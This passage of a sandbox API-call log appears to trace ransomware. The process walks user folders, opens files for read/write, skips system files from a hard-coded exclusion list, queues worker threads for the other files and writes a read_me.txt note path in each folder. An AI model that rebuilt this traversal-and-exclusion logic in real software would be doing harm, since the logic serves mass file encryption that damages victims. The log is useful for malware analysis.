pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned 45 [0078.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.743] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\.") returned 45 [0078.743] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.743] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\..") returned 46 [0078.743] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.743] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned 55 [0078.743] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.743] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.743] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.743] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0078.743] CloseHandle (hObject=0x8f4) returned 1 [0078.743] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.743] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\read_me.txt") returned 55 [0078.743] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.743] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.743] CloseHandle (hObject=0x8f4) returned 1 [0078.743] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0078.743] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.744] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\read_me.txt") returned 55 [0078.744] GetProcessHeap () returned 0x540000 [0078.744] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.744] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 56 [0078.744] GetProcessHeap () returned 0x540000 [0078.744] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42220c8 | out: hHeap=0x540000) returned 1 [0078.744] GetProcessHeap () returned 0x540000 [0078.744] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42220c8 [0078.744] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned 45 [0078.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.744] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\.") returned 45 [0078.744] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.744] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\..") returned 46 [0078.744] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.744] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned 55 [0078.744] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.744] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.745] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.745] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0078.745] CloseHandle (hObject=0x8f4) returned 1 [0078.745] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ac0afd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac0afd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0078.745] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 49 [0078.745] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ac7d3f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac7d3f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0078.745] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned 62 [0078.745] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0078.745] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 56 [0078.745] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1acef810, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.745] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\read_me.txt") returned 55 [0078.745] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.745] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.745] CloseHandle (hObject=0x8f4) returned 1 [0078.746] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0078.746] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned 56 [0078.746] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0078.746] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.746] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\read_me.txt") returned 55 [0078.746] GetProcessHeap () returned 0x540000 [0078.746] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42220c8 | out: hHeap=0x540000) returned 1 [0078.746] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 57 [0078.746] GetProcessHeap () returned 0x540000 [0078.746] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42e2128 | out: hHeap=0x540000) returned 1 [0078.746] GetProcessHeap () returned 0x540000 [0078.746] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42220c8 [0078.746] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*") returned 51 [0078.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ac0afd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac0afd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.746] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\.") returned 51 [0078.746] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ac0afd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac0afd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.746] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\..") returned 52 [0078.746] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.746] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned 61 [0078.746] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.747] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.747] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.747] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0078.747] CloseHandle (hObject=0x8f4) returned 1 [0078.747] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac0afd0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ac0afd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac0afd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.747] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\read_me.txt") returned 61 [0078.747] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.747] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.747] CloseHandle (hObject=0x8f4) returned 1 [0078.747] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0078.747] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned 69 [0078.747] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="read_me.txt") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="autoexec.bat") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="desktop.ini") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="autorun.inf") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="ntuser.dat") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="iconcache.db") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="bootsect.bak") returned 0x0 [0078.753] StrStrW (lpFirst="suggested sites.url", lpSrch="boot.ini") returned 0x0 [0078.754] StrStrW (lpFirst="suggested sites.url", lpSrch="ntuser.dat.log") returned 0x0 [0078.754] StrStrW (lpFirst="suggested sites.url", lpSrch="thumbs.db") returned 0x0 [0078.754] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 99 [0078.754] QueueUserWorkItem (Function=0x404e00, Context=0x908, Flags=0x0) returned 1 [0078.754] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0078.754] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned 71 [0078.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="read_me.txt") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="autoexec.bat") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="desktop.ini") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="autorun.inf") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="ntuser.dat") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="iconcache.db") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="bootsect.bak") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="boot.ini") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="ntuser.dat.log") returned 0x0 [0078.754] StrStrW (lpFirst="web slice gallery.url", lpSrch="thumbs.db") returned 0x0 [0078.754] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 100 [0078.754] QueueUserWorkItem (Function=0x404e00, Context=0x90c, Flags=0x0) returned 1 [0078.754] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="web slice gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0078.755] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.755] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\read_me.txt") returned 61 [0078.755] GetProcessHeap () returned 0x540000 [0078.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42220c8 | out: hHeap=0x540000) returned 1 [0078.755] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 58 [0078.755] GetProcessHeap () returned 0x540000 [0078.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4302138 | out: hHeap=0x540000) returned 1 [0078.764] GetProcessHeap () returned 0x540000 [0078.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0078.764] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned 41 [0078.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.764] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\.") returned 41 [0078.764] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.764] wnsprintfW (in: 